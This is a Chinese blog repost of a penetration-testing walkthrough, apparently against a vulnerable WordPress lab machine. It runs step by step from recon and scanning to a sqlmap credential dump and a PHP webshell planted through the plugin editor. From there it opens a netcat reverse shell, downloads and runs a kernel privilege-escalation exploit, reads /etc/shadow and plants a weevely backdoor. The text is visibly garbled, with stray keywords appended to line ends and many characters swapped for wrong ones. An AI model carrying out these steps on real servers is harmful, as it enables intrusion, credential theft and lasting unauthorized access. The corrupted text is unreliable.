原文连接:https://www.cnblogs.com/hanxiaobei/p/5603629.htmlphp
本文将从最开始的信息收集开始讲述是如何一步步的攻破你的网站和服务器的.阅读本文你会学到如下内容:html
1.渗透测试前的简单信息收集mysql
2.sqlmap的使用linux
3.nmap的使用web
4.nc反弹提权sql
5.linux系统的权限提高shell
6.backtrack 5(如今为kali)中渗透测试工具nikto和w3af的使用等数据库
假设要入侵的网站域名为:hack-test.comapache
让咱们用ping命令获取网站服务器的IP地址.安全
获取了网站服务器的IP地址为:173.236.138.113
若是网站是托管的可能在同一服务器上有多个域名。寻找同一服务器上的其它网站,使用sameip.org.
26 sites hosted on IP Address 173.236.138.113
173.236.138.113上有26个网站,为了攻破网站可能会检查同服务器上的其它网站,可是本次是以研究为目标,抛开服务器上的其它网站,只针对你的网站来进行入侵检测。
开始找网站的DNS记录,用who.is来完成这一目标.
发现DNS记录以下:
来肯定web服务器的类型:
Web服务器是apache,接下来肯定它的版本.
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.
如今已经获取了网站域名的注册信息,包括重要信息等.
能够经过backtrack 5中的whatweb来获取网站服务器操做系统类型和服务器的版本.
发现网站使用了著名的php整站程序wordpress,服务器的的系统类型为Fedora Linux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:
1-Find services that run on server(查看服务器上运行的服务)
只有80端口是开放的,操做系统是Linux2.6.22(Fedora Core 6),如今已经收集了全部关于网站的重要信息, 接下来开始扫描寻找漏洞,好比:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF 等等.
接下来将使用Nikto来收集漏洞信息:
root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com
也会用到Backtrack 5 (kali)中的W3AF 工具:
root@bt:/pentest/web/w3af# ./w3af_gui
输入要检测的网站地址,选择完整的安全审计选项.
稍等一会,你将会看到扫描结果.
发现网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.来探讨SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
经过工具发现这个URL存在SQL注入,经过Sqlmap来检测这个url.
Using sqlmap with –u url
过一会你会看到
输入N按回车键继续
发现网站存在mysql显错注入,mysql数据库版本是5.0. 经过加入参数”-dbs”来尝试采集数据库名.
发现三个数据库,接下来经过参数”-D wordpress -tables”来查看wordpress数据库的全部表名
经过参数“-T wp_users –columns ”来查看wp_users表中的字段.
接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass –dump”
发现用户名和密码hashes值. 咱们须要经过如下在线破解网站来破解密码hashes
http://www.onlinehashcrack.com/free-hash-reverse.php
登录wordpress的后台wp-admin
尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何能够编辑的插件. 选择Textile这款插件,编辑插入咱们的php webshell,点击更新文件,而后访问咱们的php webshell.
Php webshell被解析了,能够控制网站的文件,可是咱们只但愿得到网站服务器的root权限,来入侵服务器上其它的网站。
用NC来反弹一个shell,首先在咱们的电脑上监听5555端口.
而后在Php webshell上反向链接咱们的电脑,输入你的IP和端口5555.
点击链接咱们会看到
接下来咱们尝试执行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用来显示用户的id和组)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(显示服务器上当前的路径)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)
如今知道:服务器的内核版本是2.6.31.5-127.fc12.1686,在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了不少exp以后,用如下的exp来提高权限.
http://www.exploit-db.com/exploits/15285
咱们在nc shell上执行如下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:不少linux内核的exp都是C语言开发的,所以咱们保存为.c扩展名.
exp roro.c代码以下:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.\n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
经过以上代码发现该exp是C语言开发的,须要将他编译成elf格式的,命令以下:
gcc roro.c –o roro
接下来执行编译好的exp
./roro
执行完成以后咱们输入id命令
id
咱们发现咱们已是root权限了
uid=0(root) gid=0(root)
如今咱们能够查看/etc/shadow文件
cat /etc/shadow
查看/etc/passwd 文件
cat /etc/passwd
可使用”john the ripper”工具破解全部用户的密码.须要在这个服务器上留下后门以方便在任什么时候候访问它.
用weevely制做一个php小立刻传到服务器上.
1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely# ./main.py –
2.用weevely建立一个密码为koko的php后门
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko
接下来上传到服务器以后来使用它
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko
测试hax.php后门